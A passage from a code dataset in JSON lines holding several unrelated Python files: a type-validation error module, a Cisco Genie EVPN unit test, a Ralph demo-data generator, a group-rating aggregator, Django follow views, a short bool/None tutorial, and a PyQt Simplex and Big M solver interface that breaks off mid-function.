self._is_union:\n            for cause in (cause for cause in self.causes if cause.causes):\n                msg += \"\\n\"+_indent(f\"Detailed failures for member type {repr(cause.t)}:\")\n                for sub_cause in cause.causes:\n                    msg += \"\\n\"+_indent(_indent(str(sub_cause)))\n        else:\n            for cause in self.causes:\n                msg += \"\\n\"+_indent(str(cause))\n        return msg\n\n    def __repr__(self) -> str:\n        causes_str = \"\"\n        if self.causes:\n            causes_str = \", \"+\", \".join(repr(cause) for cause in self.causes)\n        is_union_str = \"\"\n        if self._is_union:\n            is_union_str = \", is_union=True\"\n        return f\"ValidationFailure({repr(self.val)}, {repr(self.t)}{causes_str}{is_union_str})\"\n\ndef get_validation_failure(err: TypeError) -> Optional[ValidationFailure]:\n    \"\"\"\n        Programmatic access to the validation failure tree for the latest validation call.\n\n        >>> from typing_validation import validate, get_validation_failure\n        >>> try:\n        ...     validate([[0, 1], [1, 2], [2, \"hi\"]], list[list[int]])\n        ... except TypeError as err:\n        ...     validation_failure = get_validation_failure(err)\n        ...\n        >>> validation_failure\n        ValidationFailure([[0, 1], [1, 2], [2, 'hi']], list[list[int]],\n            ValidationFailure([2, 'hi'], list[int],\n                ValidationFailure('hi', <class 'int'>)))\n\n        :param err: type error raised by :func:`~typing_validation.validation.validate`\n        :type err: :obj:`TypeError`\n\n    \"\"\"\n    if not isinstance(err, TypeError):\n        raise TypeError(f\"Expected TypeError, found {type(err)}\")\n    if not hasattr(err, \"validation_failure\"):\n        return None\n    validation_failure = getattr(err, \"validation_failure\")\n    if not isinstance(validation_failure, ValidationFailure):\n        return None\n    return validation_failure\n\ndef latest_validation_failure() -> Optional[ValidationFailure]:\n    \"\"\"\n        Programmatic access to the validation failure tree for the latest validation call.\n        Uses :obj:`sys.last_value`, so it must be called immediately after the error occurred.\n\n        >>> from typing_validation import validate, latest_validation_failure\n        >>> validate([[0, 1], [1, 2], [2, \"hi\"]], list[list[int]])\n        TypeError: ...\n        >>> latest_validation_failure()\n        ValidationFailure([[0, 1], [1, 2], [2, 'hi']], list[list[int]],\n            ValidationFailure([2, 'hi'], list[int],\n                ValidationFailure('hi', <class 'int'>)))\n\n    \"\"\"\n    try:\n        err = sys.last_value # pylint: disable = no-member\n    except AttributeError:\n        return None\n    if not isinstance(err, TypeError):\n        return None\n    return get_validation_failure(err)\n","repo_name":"andygilet/real-estate-price-prediction","sub_path":"real_estate/Lib/site-packages/typing_validation/validation_failure.py","file_name":"validation_failure.py","file_ext":"py","file_size_in_byte":6667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42321043801","text":"#!/usr/bin/env python\n\nimport collections\nimport types\nimport unittest\nfrom unittest.mock import Mock\n\nfrom genie.utils.cisco_collections import typedset\n\nfrom genie.conf import Genie\nfrom genie.conf.base import Testbed, Device, Link, Interface\n\nfrom genie.libs.conf.evpn import Evpn, Evi\n\n\nclass test_evi(unittest.TestCase):\n\n    def assertDictEqual(self, d1, d2, *args, **kwargs):\n        d1_modified = {key:str(value) for key, value in d1.items()}\n        return super().assertDictEqual(d1_modified, d2, *args, **kwargs)\n\n    def test_init(self):\n\n        testbed = Genie.testbed = Testbed()\n        dev1 = Device(testbed=testbed, name='PE1', os='iosxr')\n        intf1 = Interface(device=dev1, name='GigabitEthernet0/0/0/1')\n        intf2 = Interface(device=dev1, name='GigabitEthernet0/0/0/2')\n        dev2 = Device(testbed=testbed, name='PE2', os='iosxr')\n        intf3 = Interface(device=dev2, name='GigabitEthernet0/0/0/3')\n        intf4 = Interface(device=dev2, name='GigabitEthernet0/0/0/4')\n\n        with self.assertRaises(TypeError):\n            evi1 = Evi()\n\n        with self.assertRaises(TypeError):\n            evi1 = Evi(device=dev1)\n\n        with self.assertRaises(TypeError):\n            evi1 = Evi(evi_id=1)\n\n        with self.assertRaises(AssertionError):\n            evi1 = Evi(device=dev1, evi_id=1)\n\n        evpn = Evpn()\n        self.assertSetEqual(evpn.evis, set())\n\n        dev2.add_feature(evpn)\n\n        with self.assertRaises(AssertionError):\n            evi1 = Evi(device=dev1, evi_id=1)\n\n        dev1.add_feature(evpn)\n        evi1 = Evi(device=dev1, evi_id=1)\n        self.assertIs(evi1.testbed, testbed)\n        self.assertIsInstance(evpn.evis, typedset)\n        self.assertSetEqual(evpn.evis, set([evi1]))\n        self.assertIs(type(evpn.device_attr[dev1].evis), types.GeneratorType)\n        self.assertCountEqual(evpn.device_attr[dev1].evis, [evi1])\n        self.assertCountEqual(evpn.device_attr[dev2].evis, [])\n\n        self.assertIsNotNone(evi1.bgp)\n        with self.assertRaises(AttributeError):\n            evi1.bgp = None\n\n        self.assertIsNotNone(evi1.load_balancing)\n        with self.assertRaises(AttributeError):\n            evi1.load_balancing = None\n\n        self.assertFalse(evi1.load_balancing.enabled)\n        evpn.load_balancing.enabled = True\n        self.assertTrue(evi1.load_balancing.enabled)\n        with self.assertRaises(AttributeError):\n            del evi1.load_balancing.enabled\n        evi1.load_balancing.enabled = False\n        self.assertFalse(evi1.load_balancing.enabled)\n        del evi1.load_balancing.enabled\n        self.assertTrue(evi1.load_balancing.enabled)\n\n        cfgs = evpn.build_config(apply=False)\n        self.assertDictEqual(cfgs, {\n            dev1.name: '\\n'.join([\n                'evpn',\n                ' evi 1',\n                '  load-balancing',\n                '   exit',\n                '  exit',\n                ' load-balancing',\n                '  exit',\n                ' exit',\n                ]),\n            dev2.name: '\\n'.join([\n                'evpn',\n                ' load-balancing',\n                '  exit',\n                ' exit',\n                ]),\n            })\n\n        dev2.remove_feature(evpn)\n        cfgs = evpn.build_config(apply=False)\n        self.assertDictEqual(cfgs, {\n            dev1.name: '\\n'.join([\n                'evpn',\n                ' evi 1',\n                '  load-balancing',\n                '   exit',\n                '  exit',\n                ' load-balancing',\n                '  exit',\n                ' exit',\n                ]),\n            })\n\n        evi1.load_balancing.enabled = False\n        cfgs = evpn.build_config(apply=False)\n        self.assertDictEqual(cfgs, {\n            dev1.name: '\\n'.join([\n                'evpn',\n                ' evi 1',\n                '  exit',\n                ' load-balancing',\n                '  exit',\n                ' exit',\n                ]),\n            })\n\n        # XXXJST\n        # cfg = evi1.build_config(apply=False)\n        # self.assertMultiLineEqual(cfg, '\\n'.join([\n        #     'evpn',\n        #     ' evi 1',\n        #     '  exit',\n        #     ' exit',\n        #     ]))\n\n        cfg = evi1.build_config(apply=False)\n        self.assertMultiLineEqual(str(cfg), '\\n'.join([\n            'evi 1',\n            ' exit',\n            ]))\n\nif __name__ == '__main__':\n    unittest.main()\n\n","repo_name":"CiscoTestAutomation/genielibs","sub_path":"pkgs/conf-pkg/src/genie/libs/conf/evpn/tests/test_evi.py","file_name":"test_evi.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"16"}
+{"seq_id":"20853415317","text":"import os\nimport random\nimport ralph.settings\n\nralph.settings.CHECK_IP_HOSTNAME_ON_SAVE = False\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"ralph.settings\")\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\n\nfrom django.contrib.contenttypes.models import ContentType\nfrom ralph.assets.models import Ethernet\nfrom ralph.data_center.models import DataCenterAsset\nfrom ralph.networks.models import IPAddress\nfrom ralph.lib.custom_fields.models import CustomFieldValue, CustomField, CustomFieldTypes\n\nUSED_IPS = []\nUSED_MAC = []\n\nIMPACT = ['LOW', 'MEDIUM', 'HIGH', 'NOT_DEFINED']\nIMPACT_WEIGHTS = [0.25, 0.25, 0.25, 0.25]\n\nOS_FAMILY = {\n    'Redhat': ['Redhat 5', 'Redhat 6', 'Redhat 7'],\n    'Debian': ['Debian 8', 'Debian 9', 'Debian 10'],\n    'Windows': ['Windows Server 2012', 'Windows Server 2016', 'Windows Server 2019'],\n    'IBM': ['IBM AIX 5', 'IBM AIX 6', 'IBM AIX 7']\n}\n\n\"\"\"\nProbability distribution of the images used modeled on:\nhttps://ieeexplore.ieee.org/abstract/document/6195556\n\"\"\"\nOS_FAMILY_WEIGHTS = [0.53, 0.07, 0.25, 0.15]\n\nUSER_MODEL = get_user_model()\nMIN_IP_COUNT = 400\n\n\ndef _generate_mac():\n    while True:\n        mac = \"52:54:00:%02x:%02x:%02x\" % (\n            random.randint(0, 255),\n            random.randint(0, 255),\n            random.randint(0, 255),\n        )\n        if mac not in USED_MAC:\n            USED_MAC.append(mac)\n            return mac\n\n\ndef _random_ip_address():\n    while True:\n        octets = ['192', '161']\n        for x in range(2):\n            octets.append(str(random.randint(1, 254)))\n        ip = '.'.join(octets)\n        if ip not in USED_IPS:\n            USED_IPS.append(ip)\n            return ip\n\n\ndef main():\n    dc_assets = DataCenterAsset.objects.all()\n\n    os_field = CustomField.objects.create(\n        name='os',\n        type=CustomFieldTypes.STRING\n    )\n    confidentiality_field = CustomField.objects.create(\n        name='confidentiality',\n        type=CustomFieldTypes.CHOICE,\n        choices='LOW|MEDIUM|HIGH|NOT_DEFINED',\n    )\n    integrity_field = CustomField.objects.create(\n        name='integrity',\n        type=CustomFieldTypes.CHOICE,\n        choices='LOW|MEDIUM|HIGH|NOT_DEFINED',\n    )\n    availability_field = CustomField.objects.create(\n        name='availability',\n        type=CustomFieldTypes.CHOICE,\n        choices='LOW|MEDIUM|HIGH|NOT_DEFINED',\n    )\n    content_type = ContentType.objects.get_for_model(DataCenterAsset)\n\n    print('Generating random data for addesses', dc_assets.count())\n    for idx, asset in enumerate(dc_assets):\n        asset.custom_fields.add(CustomFieldValue.objects.create(\n            custom_field=confidentiality_field,\n            value='MEDIUM',\n            object_id=asset.pk,\n            content_type=content_type\n        ))\n        asset.custom_fields.add(CustomFieldValue.objects.create(\n            custom_field=integrity_field,\n            value=random.choice(IMPACT),\n            object_id=asset.pk,\n            content_type=content_type\n        ))\n        asset.custom_fields.add(CustomFieldValue.objects.create(\n            custom_field=availability_field,\n            value=random.choice(IMPACT),\n            object_id=asset.pk,\n            content_type=content_type\n        ))\n        os_family = random.choices(list(OS_FAMILY.keys()), OS_FAMILY_WEIGHTS)[0]\n        asset.custom_fields.add(CustomFieldValue.objects.create(\n            custom_field=os_field,\n            value=random.choice(OS_FAMILY[os_family]),\n            object_id=asset.pk,\n            content_type=content_type\n        ))\n\n        if random.random() > 0.90 and not asset.service_env.service.business_owners.exists():\n            bo = USER_MODEL.objects.order_by('?').first()\n            asset.service_env.service.business_owners.add(bo)\n\n        if random.random() > 0.90 and not asset.service_env.service.technical_owners.exists():\n            bo = USER_MODEL.objects.order_by('?').first()\n            asset.service_env.service.technical_owners.add(bo)\n\n        asset.save()\n\n    while len(USED_IPS) <= MIN_IP_COUNT:\n        for idx, asset in enumerate(dc_assets):\n            eth = Ethernet.objects.create(base_object=asset.asset, mac=_generate_mac())\n            IPAddress.objects.create(address=_random_ip_address(), ethernet=eth, hostname=asset.hostname)\n        if len(USED_IPS) // 100:\n            print(len(USED_IPS))\n\n    print(F'Generated ips: {len(USED_IPS)}')\n    print('Generation done')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"DSecureMe/vmc-demo","sub_path":"config/ralph/generate_ips.py","file_name":"generate_ips.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"830806601","text":"'''\nCreated on 1 Apr 2020\n\n@author: Safey A.Halim\n'''\nfrom predictors.aggregators.base_aggregator import BaseAggregator\nimport pandas as pd\nimport numpy as np\n\nclass DictatorshipAggregator(BaseAggregator):\n    \n    def __init__(self, params):\n        '''\n        Args:\n            params: a dictionary with the following arguments:\n            social_context: A DataFrame that represents the social context from the dataset\n            social_attribute: A string which is the social attribute based on which the dictator in the group should be chosen\n        '''\n        self.social_context = params['social_context']\n        self.social_attribute = params['social_attribute']\n        \n    # Overriden method\n    def calculate_group_predictions(self, individual_predictions):\n        dictator = self._get_dictator(individual_predictions.user.unique())\n        items = individual_predictions.item.unique()\n        dictator_ratings = []\n        for item in items:\n            dictator_rating = individual_predictions.loc[(individual_predictions.item == item) & (individual_predictions.user == dictator), 'rating'].values[0]\n            dictator_ratings.append(dictator_rating)\n        return pd.Series(dictator_ratings, index=items) \n    \n    def _get_dictator(self, users:np.ndarray):\n        social_context = self.social_context\n        sum_dict = {}\n        for user in users:\n            co_members = users.tolist()\n            co_members.remove(user)\n            social_attribute_values = social_context.loc[(social_context['to'] == user) & (social_context['from'].isin(co_members)), self.social_attribute]\n            sum_dict[user] = social_attribute_values.sum()\n            \n        return max(sum_dict, key = sum_dict.get)\n        ","repo_name":"safeyhalim/gurator-eval","sub_path":"predictors/aggregators/dictatorship_aggregator.py","file_name":"dictatorship_aggregator.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5338571506","text":"from django.shortcuts import render\nfrom rest_framework import generics, status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .models import User\nfrom .serializers import UserSerializer, FollowerSerializer\n\n# Create your views here.\nclass AllUserView(generics.ListAPIView):\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\nclass Userme(APIView):\n    def get(self, request):\n        user = request.user\n        serializer = UserSerializer(user)\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\nclass UserDetail(generics.RetrieveUpdateDestroyAPIView):\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\n\nclass FollowersView(APIView):\n    def get(self, request, user_id):\n        user = User.objects.get(id=user_id)\n        followers = user.followers.all()\n        serializer = FollowerSerializer(followers, many=True)\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\nclass FollowingView(APIView):\n    def get(self, request, user_id):\n        user = User.objects.get(id=user_id)\n        followers = user.following.all()\n        serializer = FollowerSerializer(followers, many=True)\n        return Response(serializer.data, status=status.HTTP_200_OK)\n    \n  \nclass Follow(APIView):\n    def post(self, request, user_id):\n        #user_id = request.data.get('id')\n        if User.objects.filter(id=user_id).exists():\n            follower = request.user\n            user = User.objects.get(id=user_id)\n            user.followers.add(follower)\n        else:\n            return Response(\"user doesnt exist\", status=status.HTTP_400_BAD_REQUEST)\n        return Response(\"you are now following this person\", status=status.HTTP_201_CREATED)\n    \n    def delete(self, request, user_id):\n        #userid = request.data.get('id')\n        if User.objects.filter(id=user_id).exists():\n            follower = request.user\n            user = User.objects.get(id=user_id)\n            follower.following.remove(user)\n            user.save()\n        else:\n            return Response(\"user doesnt exist\", status=status.HTTP_400_BAD_REQUEST)\n        return Response(\"you unfollowed this user\", status=status.HTTP_201_CREATED)\n    \n","repo_name":"codynego/SocialNet","sub_path":"userprofile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10620773766","text":"python_course = True\njava_course = False\n\n#convert a bool into an int\nint(python_course) == 1\nint(java_course) == 0\n\n#convert a bool into a string\nstr(python_course) == \"True\"\n\n#None is null in other languages\naliens_found = None #this could be helpful as a placeholder and return False in an if statement","repo_name":"Lincxx/py-PythonGettingStarted","sub_path":"4-BoolAndNone/BoolAndNone.py","file_name":"BoolAndNone.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39311601010","text":"\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtGui, QtCore\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QMessageBox\nfrom PyQt5 import uic\nfrom PyQt5.QtGui import QIcon\nimport os\nfrom PyQt5.Qt import QAbstractItemModel, QApplication, QBrush, QColor, QComboBox, QStyleFactory, QTableWidgetItem\nimport sys\nimport Fraccion\nimport ClaseM\nimport MethPert\nfrom PyQt5.QtCore import QObject\n\nfrom reportlab.lib.enums import TA_LEFT, TA_CENTER, TA_RIGHT\nfrom reportlab.platypus import (SimpleDocTemplate, PageBreak, Image, Spacer, Paragraph, Table, TableStyle)\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.lib import colors\nfrom reportlab.lib.units import inch\n\nfrom interfaz.ui_ProgramaSimplexPERT import Ui_MainWindow\n\n\nclass MethSimplex(QMainWindow):\n    \n    def __init__(self,ui):\n        super(MethSimplex, self).__init__()\n        self.ui = ui\n        #self.ui.setupUi(self)\n        #self.ventana = Simplex(self.ui)\n\n        #Simplex\n        self.numVariables = 0\n        self.numRestricciones = 0\n        self.columSR = 0\n        self.columSRcompletas = 0\n        self.numHolgura = 0\n        self.numArtificial = 0\n        self.numIteraciones = 0\n        self.solucion_optima = \"\"\n        self.metodo = \"\"\n        self.tituloMetodo = \"\"\n        self.allTable=[]\n\n        #Per y Simplex\n        self.asignarComponentes()\n        \n        #Simplex\n        self.editarComponentes()\n        self.eventosDeBotones()\n        self.eventocomboMetodo()\n\n    def asignarComponentes(self):\n         # Componentes de la interfaz Simplex\n        # Paneles\n        self.panelTablaU = QtWidgets.QFrame\n        self.panelTablaU = self.ui.panelTblU\n        self.panelFunYRest = QtWidgets.QFrame\n        self.panelFunYRest = self.ui.panelVarRest\n        # Combo box lista desplegables\n        self.comboObjetivo = QtWidgets.QComboBox\n        self.comboObjetivo = self.ui.cmbObjetivo\n        self.comboMetodo = QtWidgets.QComboBox\n        self.comboMetodo = self.ui.cmbMetodo\n        # Etiquetas Labels\n        self.etiquetaIteracion = QtWidgets.QLabel\n        self.etiquetaIteracion = self.ui.lblIteracion\n        self.etiquetaFunObj = QtWidgets.QLabel\n        self.etiquetaFunObj = self.ui.lblFunObj\n        self.etiquetaFuncionObjetivo = QtWidgets.QLabel\n        self.etiquetaFuncionObjetivo = self.ui.lblFuncionObjetivo\n        # Botones\n        self.botonIteracion = QtWidgets.QPushButton\n        self.botonIteracion = self.ui.btnIteracion\n        self.botonPdf = QtWidgets.QPushButton\n        self.botonPdf = self.ui.btnPdf\n        self.botonCalcular = QtWidgets.QPushButton\n        self.botonCalcular = self.ui.btnCalcular\n        self.botonGenerar = QtWidgets.QPushButton\n        self.botonGenerar = self.ui.btnGenerar\n\n        # Campos de texto\n        self.textFieldVar = QtWidgets.QLineEdit\n        self.textFieldVar = self.ui.txtVar\n        self.textFieldRestr = QtWidgets.QLineEdit\n        self.textFieldRestr = self.ui.txtRestr\n\n        # Tablas\n        self.tablaVariables = QtWidgets.QTableWidget\n        self.tablaVariables = self.ui.tblVariables\n        self.tablaRestricciones = QtWidgets.QTableWidget\n        self.tablaRestricciones = self.ui.tblRestricciones\n        self.tablaU = QtWidgets.QTableWidget\n        self.tablaU = self.ui.tbl_U\n        self.tablaOperaciones = QtWidgets.QTableWidget\n        self.tablaOperaciones = self.ui.tblOperaciones\n        \n          \n    def editarComponentes(self):\n        cmb = QtWidgets.QComboBox\n        panel = QtWidgets.QFrame\n        txt = QtWidgets.QLineEdit\n        self.panelTablaU.setVisible(False)  # Ocultar panel\n        self.panelFunYRest.setVisible(False)\n        objMetodo = [\"Método Simplex\", \"Método Big M\"]\n        self.comboMetodo.clear()\n        self.comboMetodo.addItems(objMetodo)  # LLenar cmb Metodos\n        objObjetivo = [\"Minimizar\", \"Maximizar\"]\n        self.comboObjetivo.clear()\n        self.comboObjetivo.addItems(objObjetivo) \n        self.comboObjetivo.setVisible(False)\n        self.botonPdf.setVisible(False)\n        self.etiquetaFunObj.setVisible(False)\n\n    def eventosDeBotones(self):\n        self.botonGenerar.clicked.connect(self.cargarProceso)\n        self.botonCalcular.clicked.connect(self.cargarProceso)\n        self.botonIteracion.clicked.connect(self.cargarProceso)\n        self.botonPdf.clicked.connect(self.cargarProceso)\n                   \n    def show_popup_Informacion(self, titulo, mensaje):\n        msg = QMessageBox()\n        msg.setWindowTitle(titulo)\n        msg.setIcon(QMessageBox.Information)\n        msg.setText(mensaje)\n        x = msg.exec_()\n\n    def cargarProceso(self):\n        boton = self.sender()\n        if boton == self.botonGenerar:\n\n            if not self.textFieldVar.text() or not self.textFieldRestr.text():\n                self.show_popup_Informacion(\n                    \"Datos invalidos\", \"No se ingresaron correctamente los datos\")\n            else:\n                self.mostrarLabels(False)\n                self.panelFunYRest.setVisible(True)\n                self.numVariables = int(self.textFieldVar.text())\n                self.numRestricciones = int(self.textFieldRestr.text())\n                self.llenarTablaVar()\n                self.llenarTablaRestr()\n                if self.comboMetodo.currentIndex() == 1:\n                    self.comboObjetivo.setVisible(True)\n\n        elif boton == self.botonCalcular:\n            if self.validarTablaFuncion() and self.validarTablaRestricciones(): #validar datos\n                self.allTable = []\n                self.matrizInicial()\n                self.botonPdf.setVisible(False)\n                self.metodo = \"\"\n                self.tituloMetodo = \"\"\n                if self.comboMetodo.currentIndex() == 0:\n                    self.metodo = \"MetodoSimplex\"\n                    self.tituloMetodo = \"REPORTE MÉTODO SIMPLEX\"\n                else:\n                    self.metodo = \"MetodoBigM\"\n                    self.tituloMetodo = \"REPORTE MÉTODO BIG M\"\n\n        elif boton == self.botonIteracion:\n            \n            if self.comboMetodo.currentIndex() == 0 or (self.comboMetodo.currentIndex() == 1 and self.comboObjetivo.currentIndex() == 1):\n                if self.seguirIteracionesSimplex() == True:\n                    self.iteraciones()\n                else:\n                    self.botonPdf.setVisible(True)\n                    self.show_popup_Informacion(\n                        \"Mensaje\", \"Se han terminado las iteraciones\")\n            else:\n                if self.seguirIteracionesBigM() == True:\n                    self.iteraciones()\n                else:\n                    self.botonPdf.setVisible(True)\n                    self.show_popup_Informacion(\n                        \"Mensaje\", \"Se han terminado las iteraciones\")\n\n        else:\n            self.solucion_optima = self.tablaU.item((self.numRestricciones+2), self.columSRcompletas+1).text()\n            \n            self.generarReporte()\n            #hilo = threading.Thread(target = self.generarReporte)\n            #hilo.start()\n    \n    def mostrarLabels(self, estado):\n        self.etiquetaFunObj.setVisible(estado)\n        self.etiquetaFuncionObjetivo.setVisible(estado)\n        self.tablaOperaciones.clear()\n        self.tablaU.clear()\n        self.panelTablaU.setVisible(estado)\n\n    def llenarTablaVar(self):\n        self.tablaVariables.clear()\n        self.tablaVariables.setRowCount(1)\n        self.tablaVariables.setColumnCount(self.numVariables)\n        for i in range(self.numVariables):\n            item1 = QTableWidgetItem(f\"X{i+1}\")\n            item1.setBackground(QtGui.QColor(0, 153, 153))\n            self.tablaVariables.setHorizontalHeaderItem(i, item1)\n\n    def llenarTablaRestr(self):\n        self.tablaRestricciones.clear()\n        self.tablaRestricciones.setRowCount(self.numRestricciones)\n        self.tablaRestricciones.setColumnCount(self.numVariables)\n        for j in range(self.numVariables):\n            item1 = QTableWidgetItem(f\"X{j+1}\")\n            item1.setBackground(QtGui.QColor(0, 153, 153))\n            self.tablaRestricciones.setHorizontalHeaderItem(j, item1)\n\n        for i in range(self.numVariables, self.numVariables+2):\n            item = QTableWidgetItem(\" \")\n            self.tablaRestricciones.insertColumn(i)\n            item.setBackground(QtGui.QColor(0, 153, 153))\n            self.tablaRestricciones.setHorizontalHeaderItem(i, item)\n\n        fila = 0\n        colum = self.numVariables\n        cmbMeth = self.comboMetodo\n        for j in range(self.numRestricciones):\n            self.cmbSigno = QComboBox()\n            self.cmbSigno.addItem(\"<=\")\n            if cmbMeth.currentIndex() == 1:\n                self.cmbSigno.addItem(\">=\")\n                self.cmbSigno.addItem(\"=\")\n            self.tablaRestricciones.setCellWidget(fila, colum, self.cmbSigno)\n\n            fila += 1\n\n    def eventocomboMetodo(self):\n        self.comboMetodo.currentIndexChanged.connect(self.cambiocomboMetodo)\n\n    def cambiocomboMetodo(self):\n        fila = 0\n        colum = self.numVariables\n        for j in range(self.numRestricciones):\n            self.cmbSigno = QComboBox()\n            self.cmbSigno.addItem(\"<=\")\n            if self.comboMetodo.currentIndex() == 0:  # Metodo Simplex\n                self.comboObjetivo.setCurrentIndex(1)  # Maximizar\n                self.comboObjetivo.setVisible(False)\n            else:\n                self.comboObjetivo.setCurrentIndex(0)  # Minimizar\n                self.comboObjetivo.setVisible(True)\n                self.cmbSigno.addItem(\">=\")\n                self.cmbSigno.addItem(\"=\")\n            self.tablaRestricciones.setCellWidget(fila, colum, self.cmbSigno)\n            fila += 1\n\n    def guardarRestricciones(self):\n        restriccionesString = [\" \"]*(self.numRestricciones+1)\n        columnas = self.numVariables+2\n        valor = \"\"\n        # restricciones\n        comboOne = QtWidgets.QComboBox\n        for i in range(0, len(restriccionesString)-1, 1):\n            for j in range(0, columnas, 1):\n                if j < self.numVariables:\n                    valor = self.tablaRestricciones.item(i, j).text()\n                  \n                    if j == 0:\n                        restriccionesString[i] = valor+\"X\"+str(j+1)\n                    else:\n                        if valor[0] == '-':\n                            restriccionesString[i] += valor+\"X\"+str(j+1)\n                        else:\n                            restriccionesString[i] += \"+\" + \\\n                                valor + \"X\" + str(j + 1)\n                elif j == self.numVariables:\n                    comboOne = self.tablaRestricciones.cellWidget(\n                        i, self.numVariables)\n                    datoSigno = comboOne.currentText()\n                    restriccionesString[i] += datoSigno\n                else:\n                    valor = self.tablaRestricciones.item(i, j).text()\n                    restriccionesString[i] += valor\n        \n        # no negatividad\n        restriccionesString[len(restriccionesString)-1] = \"\"\n\n        for fila in range(0, self.numRestricciones, 1):\n            restriccionesString[len(restriccionesString) -\n                                1] += \"X\" + str(fila + 1) + \">=0\"\n                                \n        return restriccionesString\n\n    def matrizInicial(self):\n        # Guarda las inecuaciones en el arreglo matriz inicial\n        inecuaciones = self.sistemaRestricciones()\n        # Definimos tamaño columnas y filas\n        numColumnas = self.columSRcompletas+2\n        numFilas = self.numRestricciones+4\n        matriz = [[\"0\"] * numColumnas for i in range(numFilas)]\n        # espacios en blanco y datos que no cambian\n        matriz[0][0] = \" \"\n        matriz[0][1] = \"CJ\"\n        matriz[0][numColumnas - 1] = \" \"\n        matriz[1][0] = \"CB\"\n        matriz[1][1] = \"XB\"\n        matriz[1][numColumnas - 1] = \"BI\"\n        matriz[numFilas - 2][0] = \" \"\n        matriz[numFilas - 2][1] = \"ZJ\"\n        matriz[numFilas - 1][0] = \" \"\n        matriz[numFilas - 1][1] = \"ZJ-CJ\"\n        matriz[numFilas - 1][numColumnas - 1] = \" \"\n        # Xb, Cj filas\n        numVar = 0\n        numArt = 0\n        funcion = \"\"\n        stringDecimal = \"\"\n        for j in range(2, (numColumnas-1), 1):\n            # Cj Xb\n            if numVar < self.numVariables:\n                stringDecimal = self.tablaVariables.item(0, numVar).text()\n                matriz[0][j] = self.devolverValorSR(stringDecimal)\n                if matriz[0][j] == \"Dato vacio\":\n                    print(\"Pendiente Thow Null\")\n                funcion += \" \"+str(matriz[0][j])\n                matriz[1][j] = \"X\"+str(numVar+1)\n                funcion += str(matriz[1][j])+\" +\"\n                numVar += 1\n            elif numVar < self.columSR:\n                matriz[0][j] = \"0\"\n                matriz[1][j] = \"X\"+str(numVar+1)\n                numVar += 1\n            else:\n                if self.comboMetodo.currentIndex() == 0:  # Metodo Simplex\n                    matriz[0][j] = \"1\"\n                else:  # Metodo Big M\n                    if self.comboObjetivo.currentIndex() == 0:  # Minimizar\n                        matriz[0][j] = \"M\"\n                    else:\n                        matriz[0][j] = \"-M\"\n                matriz[1][j] = \"A\" + str(numArt+1)\n                numArt += 1\n        # Ya no se lanza excepcion se pueden mostrar la tablaU y las etiquetas\n        self.mostrarLabels(True)\n        minmax = \"\"\n        # Mostrar minimizar o maximizar\n        if self.comboMetodo.currentIndex() == 0 or self.comboObjetivo.currentIndex() == 1:\n            minmax = \"Max Z = \"\n        else:\n            minmax = \"Min Z = \"\n\n        self.etiquetaFuncionObjetivo.setText(\n            \" \"+minmax+funcion[0:len(funcion)-1])\n\n        # Guardamos inecuaciones en matriz inicial\n        for q in range(0, self.numRestricciones, 1):  # filas\n            for w in range(0, self.columSRcompletas, 1):  # columnas\n                matriz[q+2][w+2] = str(inecuaciones[q][w])\n                # Agregar Cb y Xb columnas\n                if str(inecuaciones[q][w]) == \"1\" and w >= self.numVariables:\n                    matriz[q+2][0] = matriz[0][w+2]  # Cb\n                    matriz[q+2][1] = matriz[1][w+2]  # Xb\n\n        # Obtener fila zj\n        stringZj = \"\"\n        acumulaZj = \"\"\n        for col in range(0, self.columSRcompletas, 1):\n            acumulaZj = \"\"\n            for fila in range(0, self.numRestricciones, 1):\n                stringZj = self.guardarZj(\n                    str(matriz[fila+2][0]), str(matriz[fila + 2][col + 2]))\n                acumulaZj += stringZj+\";\"\n            matriz[numFilas - 2][col + 2] = self.devolverZj(acumulaZj)\n\n        # obtener fila cj-zj\n        for col in range(2, (numColumnas-1), 1):\n            matriz[numFilas - 1][col] = self.devolverZjCj(\n                str(matriz[0][col]), str(matriz[numFilas - 2][col]))\n\n        # mostrar matriz en la tabla\n        self.tablaU.clear()\n        self.tablaU.setRowCount(numFilas)\n        self.tablaU.setColumnCount(numColumnas)\n\n        for j in range(numColumnas):\n            item1 = QTableWidgetItem(\" \")\n            #item1.setBackground(QtGui.QColor(0, 153, 153))\n            self.tablaU.setHorizontalHeaderItem(j, item1)\n\n        for row in range(0, numFilas, 1):\n            for col in range(0, numColumnas, 1):\n                item = QTableWidgetItem(str(matriz[row][col]))\n                self.tablaU.setItem(row, col, item)\n\n        self.tablaU.resizeColumnsToContents()\n\n        # pintar pivote\n        self.pintarPivote()\n\n        self.numIteraciones = 0\n        self.etiquetaIteracion.setText(\" \"+str(self.numIteraciones))\n\n        # Guardar tabla para el pdf\n        fila = self.numRestricciones+4\n        columna = self.columSRcompletas+2\n        tablaInicial = []\n        for f in range(fila):\n            filaAnterior = []\n            for c in range(columna):\n                item = self.tablaU.item(f, c).text()\n                